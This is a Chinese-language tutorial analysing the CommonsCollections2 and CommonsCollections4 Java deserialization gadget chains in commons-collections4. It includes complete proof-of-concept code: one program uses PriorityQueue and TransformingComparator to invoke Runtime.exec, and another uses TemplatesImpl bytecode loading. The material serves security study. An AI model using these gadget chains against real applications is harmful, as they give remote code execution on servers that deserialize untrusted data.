返回介绍

4 CommonsCollections 2&&4 Gadget 分析

发布于 2024-09-16 15:35:01 字数 10549 浏览 0 评论 0 收藏 0

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是 3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?

4.1 CommonsCollections4 包的改动

由于两个版本的库可以共存,因此把两个包放到同一个项目中的 pom.xml 进行比较:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

用之前的 CommonsCollections6 利用链做个例子,然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

直接运行,发现 LazyMap.decorate 这个方法没有了:

在 3 中的定义:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

而在 6 中的定义:

public static <K, V> LazyMap<K, V> lazyMap(final Map<K, V> map, final Factory< ? extends V> factory) {
    return new LazyMap<K,V>(map, factory);
}

这个方法不过就是 LazyMap 构造函数的一个包装,而在 4 中其实只是改了个名字叫 lazyMap。

所以,将 Gadget 中出错的代码换一下名字:

MapouterMap = LazyMap.lazyMap(innerMap, transformerChain);

运行:

同理,之前的 CC1 Gadget、CC6 Gadget,都可以在 CommonsCollections4 中正常使用。

4.2 PriorityQueue 利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2CommonsCollections4

commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer 。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。

4.2.1 CommonsCollections2 Gadget

4.2.1.1 调用链

ObjectInputStream.readObject()
	PriorityQueue.readObject()
		...
			TransformingComparator.compare()
				InvokerTransformer.transform()
					Method.invoke()
						Runtime.exec()

4.2.1.2 分析

在 CC2 中,用到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

首先, java.util.PriorityQueue 类拥有自己的 readObject()

org.apache.commons.collections4.comparators.TransformingComparator 中有调用 transform() 方法的函数:

所以, CommonsCollections2 实际就是一条从 PriorityQueueTransformingComparator 的利用链。

接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject() 中调用了 heapify() 方法, heapify() 中调用了 siftDown()siftDown() 中调用 siftDownUsingComparator()siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator 了:

总结起来就是:

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。

  • 反序列化时调用 heapify() 方法,是为了反序列化后,需要恢复这个结构的顺序。

  • 排序是靠将大的元素下移实现的。 siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较两个元素大小。

  • TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

POC 如下:

package CC4Test;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);

        queue.add(1);
        queue.add(2);
        
        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

4.2.2 CommonsCollection4 Gadget

改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。

创建 TemplatesImpl 对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建一个正常的 InvokerTransformer 对象,并用它实例化 Comparator :

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);

实例化 PriorityQueue ,向队列里添加的元素是前面创建的 TemplatesImpl 对象:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

原因很简单,和上一篇文章相同,因为我们这里无法再使用 Transformer 数组,所以也就不能用 ConstantTransformer 来初始化变量,需要接受外部传入的变量。而在 Comparator#compare() 时,队列里的元素将作为参数传入 transform() 方法,这就是传给 TemplatesImpl#newTransformer 的参数。

最后一步,将 toString 方法改成恶意方法 newTransformer :

setFieldValue(transformer, "iMethodName", "newTransformer");

最终的 POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
    Transformer transformer = new InvokerTransformer("toString", null, null);
  
    Comparator comparator = new TransformingComparator(transformer);
  
    PriorityQueue queue = new PriorityQueue(2, comparator);
    queue.add(obj);
    queue.add(obj);
  
    setFieldValue(transformer, "iMethodName", "newTransformer");
  
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();

    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();
}

参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文